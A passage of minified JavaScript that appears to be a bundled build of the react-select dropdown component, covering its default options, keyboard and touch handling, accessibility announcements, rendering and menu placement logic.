80%)",neutral30:"hsl(0, 0%, 70%)",neutral40:"hsl(0, 0%, 60%)",neutral50:"hsl(0, 0%, 50%)",neutral60:"hsl(0, 0%, 40%)",neutral70:"hsl(0, 0%, 30%)",neutral80:"hsl(0, 0%, 20%)",neutral90:"hsl(0, 0%, 10%)"},spacing:{baseUnit:4,controlHeight:38,menuGutter:8}};function z(){return z=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},z.apply(this,arguments)}function W(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}var G={backspaceRemovesValue:!0,blurInputOnSelect:l.isTouchCapable(),captureMenuScroll:!l.isTouchCapable(),closeMenuOnSelect:!0,closeMenuOnScroll:!1,components:{},controlShouldRenderValue:!0,escapeClearsValue:!1,filterOption:v(),formatGroupLabel:function(e){return e.label},getOptionLabel:function(e){return e.label},getOptionValue:function(e){return e.value},isDisabled:!1,isLoading:!1,isMulti:!1,isRtl:!1,isSearchable:!0,isOptionDisabled:_,loadingMessage:function(){return"Loading..."},maxMenuHeight:300,minMenuHeight:140,menuIsOpen:!1,menuPlacement:"bottom",menuPosition:"absolute",menuShouldBlockScroll:!1,menuShouldScrollIntoView:!l.isMobileDevice(),noOptionsMessage:function(){return"No options"},openMenuOnFocus:!1,openMenuOnClick:!0,options:[],pageSize:5,placeholder:"Select...",screenReaderStatus:function(e){var t=e.count;return t+" result"+(1!==t?"s":"")+" available"},styles:{},tabIndex:"0",tabSelectsValue:!0},$=1,Y=function(e){var t,n;function r(t){var n;(n=e.call(this,t)||this).state={ariaLiveSelection:"",ariaLiveContext:"",focusedOption:null,focusedValue:null,inputIsHidden:!1,isFocused:!1,menuOptions:{render:[],focusable:[]},selectValue:[]},n.blockOptionHover=!1,n.isComposing=!1,n.clearFocusValueOnUpdate=!1,n.commonProps=void 0,n.components=void 0,n.hasGroups=!1,n.initialTouchX=0,n.initialTouchY=0,n.inputIsHiddenAfterUpdate=void 0,n.instancePrefix="",n.openAfterFocus=!1,n.scrollToFocusedOptionOnUpdate=!1,n.userIsDragging=void 0,n.controlRef=null,n.getControlRef=function(e){n.controlRef=e},n.focusedOptionRef=null,n.getFocusedOptionRef=function(e){n.focusedOptionRef=e},n.menuListRef=null,n.getMenuListRef=function(e){n.menuListRef=e},n.inputRef=null,n.getInputRef=function(e){n.inputRef=e},n.cacheComponents=function(e){n.components=c.defaultComponents({components:e})},n.focus=n.focusInput,n.blur=n.blurInput,n.onChange=function(e,t){var r=n.props;(0,r.onChange)(e,z({},t,{name:r.name}))},n.setValue=function(e,t,r){void 0===t&&(t="set-value");var o=n.props,i=o.closeMenuOnSelect,u=o.isMulti;n.onInputChange("",{action:"set-value"}),i&&(n.inputIsHiddenAfterUpdate=!u,n.onMenuClose()),n.clearFocusValueOnUpdate=!0,n.onChange(e,{action:t,option:r})},n.selectOption=function(e){var t=n.props,r=t.blurInputOnSelect,o=t.isMulti,i=n.state.selectValue;if(o)if(n.isOptionSelected(e,i)){var u=n.getOptionValue(e);n.setValue(i.filter((function(e){return n.getOptionValue(e)!==u})),"deselect-option",e),n.announceAriaLiveSelection({event:"deselect-option",context:{value:n.getOptionLabel(e)}})}else n.isOptionDisabled(e,i)?n.announceAriaLiveSelection({event:"select-option",context:{value:n.getOptionLabel(e),isDisabled:!0}}):(n.setValue([].concat(i,[e]),"select-option",e),n.announceAriaLiveSelection({event:"select-option",context:{value:n.getOptionLabel(e)}}));else n.isOptionDisabled(e,i)?n.announceAriaLiveSelection({event:"select-option",context:{value:n.getOptionLabel(e),isDisabled:!0}}):(n.setValue(e,"select-option"),n.announceAriaLiveSelection({event:"select-option",context:{value:n.getOptionLabel(e)}}));r&&n.blurInput()},n.removeValue=function(e){var t=n.state.selectValue,r=n.getOptionValue(e),o=t.filter((function(e){return n.getOptionValue(e)!==r}));n.onChange(o.length?o:null,{action:"remove-value",removedValue:e}),n.announceAriaLiveSelection({event:"remove-value",context:{value:e?n.getOptionLabel(e):""}}),n.focusInput()},n.clearValue=function(){var e=n.props.isMulti;n.onChange(e?[]:null,{action:"clear"})},n.popValue=function(){var e=n.state.selectValue,t=e[e.length-1],r=e.slice(0,e.length-1);n.announceAriaLiveSelection({event:"pop-value",context:{value:t?n.getOptionLabel(t):""}}),n.onChange(r.length?r:null,{action:"pop-value",removedValue:t})},n.getOptionLabel=function(e){return n.props.getOptionLabel(e)},n.getOptionValue=function(e){return n.props.getOptionValue(e)},n.getStyles=function(e,t){var r=H[e](t);r.boxSizing="border-box";var o=n.props.styles[e];return o?o(r,t):r},n.getElementId=function(e){return n.instancePrefix+"-"+e},n.getActiveDescendentId=function(){var e=n.props.menuIsOpen,t=n.state,r=t.menuOptions,o=t.focusedOption;if(o&&e){var i=r.focusable.indexOf(o),u=r.render[i];return u&&u.key}},n.announceAriaLiveSelection=function(e){var t=e.event,r=e.context;n.setState({ariaLiveSelection:B(t,r)})},n.announceAriaLiveContext=function(e){var t=e.event,r=e.context;n.setState({ariaLiveContext:R(t,z({},r,{label:n.props["aria-label"]}))})},n.onMenuMouseDown=function(e){0===e.button&&(e.stopPropagation(),e.preventDefault(),n.focusInput())},n.onMenuMouseMove=function(e){n.blockOptionHover=!1},n.onControlMouseDown=function(e){var t=n.props.openMenuOnClick;n.state.isFocused?n.props.menuIsOpen?"INPUT"!==e.target.tagName&&"TEXTAREA"!==e.target.tagName&&n.onMenuClose():t&&n.openMenu("first"):(t&&(n.openAfterFocus=!0),n.focusInput()),"INPUT"!==e.target.tagName&&"TEXTAREA"!==e.target.tagName&&e.preventDefault()},n.onDropdownIndicatorMouseDown=function(e){if(!(e&&"mousedown"===e.type&&0!==e.button||n.props.isDisabled)){var t=n.props,r=t.isMulti,o=t.menuIsOpen;n.focusInput(),o?(n.inputIsHiddenAfterUpdate=!r,n.onMenuClose()):n.openMenu("first"),e.preventDefault(),e.stopPropagation()}},n.onClearIndicatorMouseDown=function(e){e&&"mousedown"===e.type&&0!==e.button||(n.clearValue(),e.stopPropagation(),n.openAfterFocus=!1,"touchend"===e.type?n.focusInput():setTimeout((function(){return n.focusInput()})))},n.onScroll=function(e){"boolean"==typeof n.props.closeMenuOnScroll?e.target instanceof HTMLElement&&l.isDocumentElement(e.target)&&n.props.onMenuClose():"function"==typeof n.props.closeMenuOnScroll&&n.props.closeMenuOnScroll(e)&&n.props.onMenuClose()},n.onCompositionStart=function(){n.isComposing=!0},n.onCompositionEnd=function(){n.isComposing=!1},n.onTouchStart=function(e){var t=e.touches.item(0);t&&(n.initialTouchX=t.clientX,n.initialTouchY=t.clientY,n.userIsDragging=!1)},n.onTouchMove=function(e){var t=e.touches.item(0);if(t){var r=Math.abs(t.clientX-n.initialTouchX),o=Math.abs(t.clientY-n.initialTouchY);n.userIsDragging=r>5||o>5}},n.onTouchEnd=function(e){n.userIsDragging||(n.controlRef&&!n.controlRef.contains(e.target)&&n.menuListRef&&!n.menuListRef.contains(e.target)&&n.blurInput(),n.initialTouchX=0,n.initialTouchY=0)},n.onControlTouchEnd=function(e){n.userIsDragging||n.onControlMouseDown(e)},n.onClearIndicatorTouchEnd=function(e){n.userIsDragging||n.onClearIndicatorMouseDown(e)},n.onDropdownIndicatorTouchEnd=function(e){n.userIsDragging||n.onDropdownIndicatorMouseDown(e)},n.handleInputChange=function(e){var t=e.currentTarget.value;n.inputIsHiddenAfterUpdate=!1,n.onInputChange(t,{action:"input-change"}),n.onMenuOpen()},n.onInputFocus=function(e){var t=n.props,r=t.isSearchable,o=t.isMulti;n.props.onFocus&&n.props.onFocus(e),n.inputIsHiddenAfterUpdate=!1,n.announceAriaLiveContext({event:"input",context:{isSearchable:r,isMulti:o}}),n.setState({isFocused:!0}),(n.openAfterFocus||n.props.openMenuOnFocus)&&n.openMenu("first"),n.openAfterFocus=!1},n.onInputBlur=function(e){n.menuListRef&&n.menuListRef.contains(document.activeElement)?n.inputRef.focus():(n.props.onBlur&&n.props.onBlur(e),n.onInputChange("",{action:"input-blur"}),n.onMenuClose(),n.setState({focusedValue:null,isFocused:!1}))},n.onOptionHover=function(e){n.blockOptionHover||n.state.focusedOption===e||n.setState({focusedOption:e})},n.shouldHideSelectedOptions=function(){var e=n.props,t=e.hideSelectedOptions,r=e.isMulti;return void 0===t?r:t},n.onKeyDown=function(e){var t=n.props,r=t.isMulti,o=t.backspaceRemovesValue,i=t.escapeClearsValue,u=t.inputValue,a=t.isClearable,s=t.isDisabled,l=t.menuIsOpen,c=t.onKeyDown,p=t.tabSelectsValue,d=t.openMenuOnFocus,f=n.state,h=f.focusedOption,m=f.focusedValue,g=f.selectValue;if(!(s||"function"==typeof c&&(c(e),e.defaultPrevented))){switch(n.blockOptionHover=!0,e.key){case"ArrowLeft":if(!r||u)return;n.focusValue("previous");break;case"ArrowRight":if(!r||u)return;n.focusValue("next");break;case"Delete":case"Backspace":if(u)return;if(m)n.removeValue(m);else{if(!o)return;r?n.popValue():a&&n.clearValue()}break;case"Tab":if(n.isComposing)return;if(e.shiftKey||!l||!p||!h||d&&n.isOptionSelected(h,g))return;n.selectOption(h);break;case"Enter":if(229===e.keyCode)break;if(l){if(!h)return;if(n.isComposing)return;n.selectOption(h);break}return;case"Escape":l?(n.inputIsHiddenAfterUpdate=!1,n.onInputChange("",{action:"menu-close"}),n.onMenuClose()):a&&i&&n.clearValue();break;case" ":if(u)return;if(!l){n.openMenu("first");break}if(!h)return;n.selectOption(h);break;case"ArrowUp":l?n.focusOption("up"):n.openMenu("last");break;case"ArrowDown":l?n.focusOption("down"):n.openMenu("first");break;case"PageUp":if(!l)return;n.focusOption("pageup");break;case"PageDown":if(!l)return;n.focusOption("pagedown");break;case"Home":if(!l)return;n.focusOption("first");break;case"End":if(!l)return;n.focusOption("last");break;default:return}e.preventDefault()}},n.buildMenuOptions=function(e,t){var r=e.inputValue,o=void 0===r?"":r,i=e.options,u=function(e,r){var i=n.isOptionDisabled(e,t),u=n.isOptionSelected(e,t),a=n.getOptionLabel(e),s=n.getOptionValue(e);if(!(n.shouldHideSelectedOptions()&&u||!n.filterOption({label:a,value:s,data:e},o))){var l=i?void 0:function(){return n.onOptionHover(e)},c=i?void 0:function(){return n.selectOption(e)},p=n.getElementId("option")+"-"+r;return{innerProps:{id:p,onClick:c,onMouseMove:l,onMouseOver:l,tabIndex:-1},data:e,isDisabled:i,isSelected:u,key:p,label:a,type:"option",value:s}}};return i.reduce((function(e,t,r){if(t.options){n.hasGroups||(n.hasGroups=!0);var o=t.options.map((function(t,n){var o=u(t,r+"-"+n);return o&&e.focusable.push(t),o})).filter(Boolean);if(o.length){var i=n.getElementId("group")+"-"+r;e.render.push({type:"group",key:i,data:t,options:o})}}else{var a=u(t,""+r);a&&(e.render.push(a),e.focusable.push(t))}return e}),{render:[],focusable:[]})};var r=t.value;n.cacheComponents=u(n.cacheComponents,c.exportedEqual).bind(W(W(n))),n.cacheComponents(t.components),n.instancePrefix="react-select-"+(n.props.instanceId||++$);var o=l.cleanValue(r);n.buildMenuOptions=u(n.buildMenuOptions,(function(e,t){var n=e,r=n[0],o=n[1],i=t,u=i[0],a=i[1];return c.exportedEqual(o,a)&&c.exportedEqual(r.inputValue,u.inputValue)&&c.exportedEqual(r.options,u.options)})).bind(W(W(n)));var i=t.menuIsOpen?n.buildMenuOptions(t,o):{render:[],focusable:[]};return n.state.menuOptions=i,n.state.selectValue=o,n}n=e,(t=r).prototype=Object.create(n.prototype),t.prototype.constructor=t,t.__proto__=n;var o=r.prototype;return o.componentDidMount=function(){this.startListeningComposition(),this.startListeningToTouch(),this.props.closeMenuOnScroll&&document&&document.addEventListener&&document.addEventListener("scroll",this.onScroll,!0),this.props.autoFocus&&this.focusInput()},o.UNSAFE_componentWillReceiveProps=function(e){var t=this.props,n=t.options,r=t.value,o=t.menuIsOpen,i=t.inputValue;if(this.cacheComponents(e.components),e.value!==r||e.options!==n||e.menuIsOpen!==o||e.inputValue!==i){var u=l.cleanValue(e.value),a=e.menuIsOpen?this.buildMenuOptions(e,u):{render:[],focusable:[]},s=this.getNextFocusedValue(u),c=this.getNextFocusedOption(a.focusable);this.setState({menuOptions:a,selectValue:u,focusedOption:c,focusedValue:s})}null!=this.inputIsHiddenAfterUpdate&&(this.setState({inputIsHidden:this.inputIsHiddenAfterUpdate}),delete this.inputIsHiddenAfterUpdate)},o.componentDidUpdate=function(e){var t=this.props,n=t.isDisabled,r=t.menuIsOpen,o=this.state.isFocused;(o&&!n&&e.isDisabled||o&&r&&!e.menuIsOpen)&&this.focusInput(),this.menuListRef&&this.focusedOptionRef&&this.scrollToFocusedOptionOnUpdate&&(l.scrollIntoView(this.menuListRef,this.focusedOptionRef),this.scrollToFocusedOptionOnUpdate=!1)},o.componentWillUnmount=function(){this.stopListeningComposition(),this.stopListeningToTouch(),document.removeEventListener("scroll",this.onScroll,!0)},o.onMenuOpen=function(){this.props.onMenuOpen()},o.onMenuClose=function(){var e=this.props,t=e.isSearchable,n=e.isMulti;this.announceAriaLiveContext({event:"input",context:{isSearchable:t,isMulti:n}}),this.onInputChange("",{action:"menu-close"}),this.props.onMenuClose()},o.onInputChange=function(e,t){this.props.onInputChange(e,t)},o.focusInput=function(){this.inputRef&&this.inputRef.focus()},o.blurInput=function(){this.inputRef&&this.inputRef.blur()},o.openMenu=function(e){var t=this,n=this.state,r=n.selectValue,o=n.isFocused,i=this.buildMenuOptions(this.props,r),u=this.props.isMulti,a="first"===e?0:i.focusable.length-1;if(!u){var s=i.focusable.indexOf(r[0]);s>-1&&(a=s)}this.scrollToFocusedOptionOnUpdate=!(o&&this.menuListRef),this.inputIsHiddenAfterUpdate=!1,this.setState({menuOptions:i,focusedValue:null,focusedOption:i.focusable[a]},(function(){t.onMenuOpen(),t.announceAriaLiveContext({event:"menu"})}))},o.focusValue=function(e){var t=this.props,n=t.isMulti,r=t.isSearchable,o=this.state,i=o.selectValue,u=o.focusedValue;if(n){this.setState({focusedOption:null});var a=i.indexOf(u);u||(a=-1,this.announceAriaLiveContext({event:"value"}));var s=i.length-1,l=-1;if(i.length){switch(e){case"previous":l=0===a?0:-1===a?s:a-1;break;case"next":a>-1&&a<s&&(l=a+1)}-1===l&&this.announceAriaLiveContext({event:"input",context:{isSearchable:r,isMulti:n}}),this.setState({inputIsHidden:-1!==l,focusedValue:i[l]})}}},o.focusOption=function(e){void 0===e&&(e="first");var t=this.props.pageSize,n=this.state,r=n.focusedOption,o=n.menuOptions.focusable;if(o.length){var i=0,u=o.indexOf(r);r||(u=-1,this.announceAriaLiveContext({event:"menu"})),"up"===e?i=u>0?u-1:o.length-1:"down"===e?i=(u+1)%o.length:"pageup"===e?(i=u-t)<0&&(i=0):"pagedown"===e?(i=u+t)>o.length-1&&(i=o.length-1):"last"===e&&(i=o.length-1),this.scrollToFocusedOptionOnUpdate=!0,this.setState({focusedOption:o[i],focusedValue:null}),this.announceAriaLiveContext({event:"menu",context:{isDisabled:_(o[i])}})}},o.getTheme=function(){return this.props.theme?"function"==typeof this.props.theme?this.props.theme(U):z({},U,this.props.theme):U},o.getCommonProps=function(){var e=this.clearValue,t=this.getStyles,n=this.setValue,r=this.selectOption,o=this.props,i=o.classNamePrefix,u=o.isMulti,a=o.isRtl,s=o.options,c=this.state.selectValue,p=this.hasValue();return{cx:l.classNames.bind(null,i),clearValue:e,getStyles:t,getValue:function(){return c},hasValue:p,isMulti:u,isRtl:a,options:s,selectOption:r,setValue:n,selectProps:o,theme:this.getTheme()}},o.getNextFocusedValue=function(e){if(this.clearFocusValueOnUpdate)return this.clearFocusValueOnUpdate=!1,null;var t=this.state,n=t.focusedValue,r=t.selectValue.indexOf(n);if(r>-1){if(e.indexOf(n)>-1)return n;if(r<e.length)return e[r]}return null},o.getNextFocusedOption=function(e){var t=this.state.focusedOption;return t&&e.indexOf(t)>-1?t:e[0]},o.hasValue=function(){return this.state.selectValue.length>0},o.hasOptions=function(){return!!this.state.menuOptions.render.length},o.countOptions=function(){return this.state.menuOptions.focusable.length},o.isClearable=function(){var e=this.props,t=e.isClearable,n=e.isMulti;return void 0===t?n:t},o.isOptionDisabled=function(e,t){return"function"==typeof this.props.isOptionDisabled&&this.props.isOptionDisabled(e,t)},o.isOptionSelected=function(e,t){var n=this;if(t.indexOf(e)>-1)return!0;if("function"==typeof this.props.isOptionSelected)return this.props.isOptionSelected(e,t);var r=this.getOptionValue(e);return t.some((function(e){return n.getOptionValue(e)===r}))},o.filterOption=function(e,t){return!this.props.filterOption||this.props.filterOption(e,t)},o.formatOptionLabel=function(e,t){if("function"==typeof this.props.formatOptionLabel){var n=this.props.inputValue,r=this.state.selectValue;return this.props.formatOptionLabel(e,{context:t,inputValue:n,selectValue:r})}return this.getOptionLabel(e)},o.formatGroupLabel=function(e){return this.props.formatGroupLabel(e)},o.startListeningComposition=function(){document&&document.addEventListener&&(document.addEventListener("compositionstart",this.onCompositionStart,!1),document.addEventListener("compositionend",this.onCompositionEnd,!1))},o.stopListeningComposition=function(){document&&document.removeEventListener&&(document.removeEventListener("compositionstart",this.onCompositionStart),document.removeEventListener("compositionend",this.onCompositionEnd))},o.startListeningToTouch=function(){document&&document.addEventListener&&(document.addEventListener("touchstart",this.onTouchStart,!1),document.addEventListener("touchmove",this.onTouchMove,!1),document.addEventListener("touchend",this.onTouchEnd,!1))},o.stopListeningToTouch=function(){document&&document.removeEventListener&&(document.removeEventListener("touchstart",this.onTouchStart),document.removeEventListener("touchmove",this.onTouchMove),document.removeEventListener("touchend",this.onTouchEnd))},o.constructAriaLiveMessage=function(){var e=this.state,t=e.ariaLiveContext,n=e.selectValue,r=e.focusedValue,o=e.focusedOption,i=this.props,u=i.options,a=i.menuIsOpen,s=i.inputValue,l=i.screenReaderStatus,c=r?function(e){var t=e.focusedValue,n=e.selectValue;return"value "+(0,e.getOptionLabel)(t)+" focused, "+(n.indexOf(t)+1)+" of "+n.length+"."}({focusedValue:r,getOptionLabel:this.getOptionLabel,selectValue:n}):"",p=o&&a?function(e){var t=e.focusedOption,n=e.options;return"option "+(0,e.getOptionLabel)(t)+" focused"+(t.isDisabled?" disabled":"")+", "+(n.indexOf(t)+1)+" of "+n.length+"."}({focusedOption:o,getOptionLabel:this.getOptionLabel,options:u}):"",d=function(e){var t=e.inputValue;return e.screenReaderMessage+(t?" for search term "+t:"")+"."}({inputValue:s,screenReaderMessage:l({count:this.countOptions()})});return c+" "+p+" "+d+" "+t},o.renderInput=function(){var e=this.props,t=e.isDisabled,n=e.isSearchable,r=e.inputId,o=e.inputValue,u=e.tabIndex,a=this.components.Input,s=this.state.inputIsHidden,c=r||this.getElementId("input"),p={"aria-autocomplete":"list","aria-label":this.props["aria-label"],"aria-labelledby":this.props["aria-labelledby"]};if(!n)return i.createElement(O,z({id:c,innerRef:this.getInputRef,onBlur:this.onInputBlur,onChange:l.noop,onFocus:this.onInputFocus,readOnly:!0,disabled:t,tabIndex:u,value:""},p));var d=this.commonProps,f=d.cx,h=d.theme,m=d.selectProps;return i.createElement(a,z({autoCapitalize:"none",autoComplete:"off",autoCorrect:"off",cx:f,getStyles:this.getStyles,id:c,innerRef:this.getInputRef,isDisabled:t,isHidden:s,onBlur:this.onInputBlur,onChange:this.handleInputChange,onFocus:this.onInputFocus,selectProps:m,spellCheck:"false",tabIndex:u,theme:h,type:"text",value:o},p))},o.renderPlaceholderOrValue=function(){var e=this,t=this.components,n=t.MultiValue,r=t.MultiValueContainer,o=t.MultiValueLabel,u=t.MultiValueRemove,a=t.SingleValue,s=t.Placeholder,l=this.commonProps,c=this.props,p=c.controlShouldRenderValue,d=c.isDisabled,f=c.isMulti,h=c.inputValue,m=c.placeholder,g=this.state,v=g.selectValue,b=g.focusedValue,E=g.isFocused;if(!this.hasValue()||!p)return h?null:i.createElement(s,z({},l,{key:"placeholder",isDisabled:d,isFocused:E}),m);if(f){var y=v.map((function(t,a){var s=t===b;return i.createElement(n,z({},l,{components:{Container:r,Label:o,Remove:u},isFocused:s,isDisabled:d,key:e.getOptionValue(t),index:a,removeProps:{onClick:function(){return e.removeValue(t)},onTouchEnd:function(){return e.removeValue(t)},onMouseDown:function(e){e.preventDefault(),e.stopPropagation()}},data:t}),e.formatOptionLabel(t,"value"))}));return y}if(h)return null;var C=v[0];return i.createElement(a,z({},l,{data:C,isDisabled:d}),this.formatOptionLabel(C,"value"))},o.renderClearIndicator=function(){var e=this.components.ClearIndicator,t=this.commonProps,n=this.props,r=n.isDisabled,o=n.isLoading,u=this.state.isFocused;if(!this.isClearable()||!e||r||!this.hasValue()||o)return null;var a={onMouseDown:this.onClearIndicatorMouseDown,onTouchEnd:this.onClearIndicatorTouchEnd,"aria-hidden":"true"};return i.createElement(e,z({},t,{innerProps:a,isFocused:u}))},o.renderLoadingIndicator=function(){var e=this.components.LoadingIndicator,t=this.commonProps,n=this.props,r=n.isDisabled,o=n.isLoading,u=this.state.isFocused;return e&&o?i.createElement(e,z({},t,{innerProps:{"aria-hidden":"true"},isDisabled:r,isFocused:u})):null},o.renderIndicatorSeparator=function(){var e=this.components,t=e.DropdownIndicator,n=e.IndicatorSeparator;if(!t||!n)return null;var r=this.commonProps,o=this.props.isDisabled,u=this.state.isFocused;return i.createElement(n,z({},r,{isDisabled:o,isFocused:u}))},o.renderDropdownIndicator=function(){var e=this.components.DropdownIndicator;if(!e)return null;var t=this.commonProps,n=this.props.isDisabled,r=this.state.isFocused,o={onMouseDown:this.onDropdownIndicatorMouseDown,onTouchEnd:this.onDropdownIndicatorTouchEnd,"aria-hidden":"true"};return i.createElement(e,z({},t,{innerProps:o,isDisabled:n,isFocused:r}))},o.renderMenu=function(){var e=this,t=this.components,n=t.Group,r=t.GroupHeading,o=t.Menu,u=t.MenuList,a=t.MenuPortal,s=t.LoadingMessage,l=t.NoOptionsMessage,p=t.Option,d=this.commonProps,f=this.state,h=f.focusedOption,m=f.menuOptions,g=this.props,v=g.captureMenuScroll,b=g.inputValue,E=g.isLoading,y=g.loadingMessage,C=g.minMenuHeight,O=g.maxMenuHeight,S=g.menuIsOpen,A=g.menuPlacement,x=g.menuPosition,w=g.menuPortalTarget,F=g.menuShouldBlockScroll,D=g.menuShouldScrollIntoView,I=g.noOptionsMessage,k=g.onMenuScrollToTop,M=g.onMenuScrollToBottom;if(!S)return null;var P,V=function(t){var n=h===t.data;return t.innerRef=n?e.getFocusedOptionRef:void 0,i.createElement(p,z({},d,t,{isFocused:n}),e.formatOptionLabel(t.data,"menu"))};if(this.hasOptions())P=m.render.map((function(t){if("group"===t.type){t.type;var o=function(e,t){if(null==e)return{};var n,r,o={},i=Object.keys(e);for(r=0;r<i.length;r++)n=i[r],t.indexOf(n)>=0||(o[n]=e[n]);return o}(t,["type"]),u=t.key+"-heading";return i.createElement(n,z({},d,o,{Heading:r,headingProps:{id:u},label:e.formatGroupLabel(t.data)}),t.options.map((function(e){return V(e)})))}if("option"===t.type)return V(t)}));else if(E){var j=y({inputValue:b});if(null===j)return null;P=i.createElement(s,d,j)}else{var R=I({inputValue:b});if(null===R)return null;P=i.createElement(l,d,R)}var B={minMenuHeight:C,maxMenuHeight:O,menuPlacement:A,menuPosition:x,menuShouldScrollIntoView:D},_=i.createElement(c.MenuPlacer,z({},d,B),(function(t){var n=t.ref,r=t.placerProps,a=r.placement,s=r.maxHeight;return i.createElement(o,z({},d,B,{innerRef:n,innerProps:{onMouseDown:e.onMenuMouseDown,onMouseMove:e.onMenuMouseMove},isLoading:E,placement:a}),i.createElement(T,{isEnabled:v,onTopArrive:k,onBottomArrive:M},i.createElement(L,{isEnabled:F},i.createElement(u,z({},d,{innerRef:e.getMenuListRef,isLoading:E,maxHeight:s}),P))))}));return w||"fixed"===x?i.createElement(a,z({},d,{appendTo:w,controlElement:this.controlRef,menuPlacement:A,menuPosition:x}),_):_},o.renderFormField=function(){var e=this,t=this.props,n=t.delimiter,r=t.isDisabled,o=t.isMulti,u=t.name,a=this.state.selectValue;if(u&&!r){if(o){if(n){var s=a.map((function(t){return e.getOptionValue(t)})).join(n);return i.createElement("input",{name:u,type:"hidden",value:s})}var l=a.length>0?a.map((function(t,n){return i.createElement("input",{key:"i-"+n,name:u,type:"hidden",value:e.getOptionValue(t)})})):i.createElement("input",{name:u,type:"hidden"});return i.createElement("div",null,l)}var c=a[0]?this.getOptionValue(a[0]):"";return i.createElement("input",{name:u,type:"hidden",value:c})}},o.renderLiveRegion=function(){return this.state.isFocused?i.createElement(y,{"aria-live":"polite"},i.createElement("p",{id:"aria-selection-event"}," ",this.state.ariaLiveSelection),i.createElement("p",{id:"aria-context"}," ",this.constructAriaLiveMessage())):null},o.render=function(){var e=this.components,t=e.Control,n=e.IndicatorsContainer,r=e.SelectContainer,o=e.ValueContainer,u=this.props,a=u.className,s=u.id,l=u.isDisabled,c=u.menuIsOpen,p=this.state.isFocused,d=this.commonProps=this.getCommonProps();return i.createElement(r,z({},d,{className:a,innerProps:{id:s,onKeyDown:this.onKeyDown},isDisabled:l,isFocused:p}),this.renderLiveRegion(),i.createElement(t,z({},d,{innerRef:this.getControlRef,innerProps:{onMouseDown:this.onControlMouseDown,onTouchEnd:this.onControlTouchEnd},isDisabled:l,isFocused:p,menuIsOpen:c}),i.createElement(o,z({},d,{isDisabled:l}),this.renderPlaceholderOrValue(),this.renderInput()),i.createElement(n,z({},d,{isDisabled:l}),this.renderClearIndicator(),this.renderLoadingIndicator(),this.renderIndicatorSeparator(),this.renderDropdownIndicator())),this.renderMenu(),this.renderFormField())},r}(o.Component);Y.defaultProps=G,t.Select=Y,t.createFilter=v,t.defaultProps=G,t.defaultTheme=U,t.mergeStyles=function(e,t){void 0===t&&(t={});var n=N({},e);return Object.keys(t).forEach((function(r){e[r]?n[r]=function(n,o){return t[r](e[r](n,o),o)}:n[r]=t[r]})),n}},148:(e,t,n)=>{"use strict";function r(e){return e&&"object"==typeof e&&"default"in e?e.default:e}var o=n(9196),i=(r(o),n(3585)),u=n(1850),a=r(n(5890)),s=n(4039),l=r(n(3998)),c=r(n(5639));function p(){return p=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},p.apply(this,arguments)}function d(e,t){e.prototype=Object.create(t.prototype),e.prototype.constructor=e,e.__proto__=t}var f=function(e){return"auto"===e?"bottom":e},h=function(e){function t(){for(var t,n=arguments.length,r=new Array(n),o=0;o<n;o++)r[o]=arguments[o];return(t=e.call.apply(e,[this].concat(r))||this).state={maxHeight:t.props.maxMenuHeight,placement:null},t.getPlacement=function(e){var n=t.props,r=n.minMenuHeight,o=n.maxMenuHeight,i=n.menuPlacement,u=n.menuPosition,a=n.menuShouldScrollIntoView,l=n.theme,c=t.context.getPortalPlacement;if(e){var p="fixed"===u,d=function(e){var t=e.maxHeight,n=e.menuEl,r=e.minHeight,o=e.placement,i=e.shouldScroll,u=e.isFixedPosition,a=e.theme.spacing,l=s.getScrollParent(n),c={placement:"bottom",maxHeight:t};if(!n||!n.offsetParent)return c;var p=l.getBoundingClientRect().height,d=n.getBoundingClientRect(),f=d.bottom,h=d.height,m=d.top,g=n.offsetParent.getBoundingClientRect().top,v=window.innerHeight,b=s.getScrollTop(l),E=parseInt(getComputedStyle(n).marginBottom,10),y=parseInt(getComputedStyle(n).marginTop,10),C=g-y,O=v-m,S=C+b,A=p-b-m,x=f-v+b+E,w=b+m-y,F=160;switch(o){case"auto":case"bottom":if(O>=h)return{placement:"bottom",maxHeight:t};if(A>=h&&!u)return i&&s.animatedScrollTo(l,x,F),{placement:"bottom",maxHeight:t};if(!u&&A>=r||u&&O>=r)return i&&s.animatedScrollTo(l,x,F),{placement:"bottom",maxHeight:u?O-E:A-E};if("auto"===o||u){var D=t,I=u?C:S;return I>=r&&(D=Math.min(I-E-a.controlHeight,t)),{placement:"top",maxHeight:D}}if("bottom"===o)return s.scrollTo(l,x),{placement:"bottom",maxHeight:t};break;case"top":if(C>=h)return{placement:"top",maxHeight:t};if(S>=h&&!u)return i&&s.animatedScrollTo(l,w,F),{placement:"top",maxHeight:t};if(!u&&S>=r||u&&C>=r){var k=t;return(!u&&S>=r||u&&C>=r)&&(k=u?C-y:S-y),i&&s.animatedScrollTo(l,w,F),{placement:"top",maxHeight:k}}return{placement:"bottom",maxHeight:t};default:throw new Error('Invalid placement provided "'+o+'".')}return c}({maxHeight:o,menuEl:e,minHeight:r,placement:i,shouldScroll:a&&!p,isFixedPosition:p,theme:l});c&&c(d),t.setState(d)}},t.getUpdatedProps=function(){var e=t.props.menuPlacement,n=t.state.placement||f(e);return p({},t.props,{placement:n,maxHeight:t.state.maxHeight})},t}return d(t,e),t.prototype.render=function(){return(0,this.props.children)({ref:this.getPlacement,placerProps:this.getUpdatedProps()})},t}(o.Component);h.contextTypes={getPortalPlacement:a.func};var m=function(e){var t=e.theme,n=t.spacing.baseUnit;return{color:t.colors.neutral40,padding:2*n+"px "+3*n+"px",textAlign:"center"}},g=m,v=m,b=function(e){var t=e.children,n=e.className,r=e.cx,o=e.getStyles,u=e.innerProps;return i.jsx("div",p({css:o("noOptionsMessage",e),className:r({"menu-notice":!0,"menu-notice--no-options":!0},n)},u),t)};b.defaultProps={children:"No options"};var E=function(e){var t=e.children,n=e.className,r=e.cx,o=e.getStyles,u=e.innerProps;return i.jsx("div",p({css:o("loadingMessage",e),className:r({"menu-notice":!0,"menu-notice--loading":!0},n)},u),t)};E.defaultProps={children:"Loading..."};var y=function(e){function t(){for(var t,n=arguments.length,r=new Array(n),o=0;o<n;o++)r[o]=arguments[o];return(t=e.call.apply(e,[this].concat(r))||this).state={placement:null},t.getPortalPlacement=function(e){var 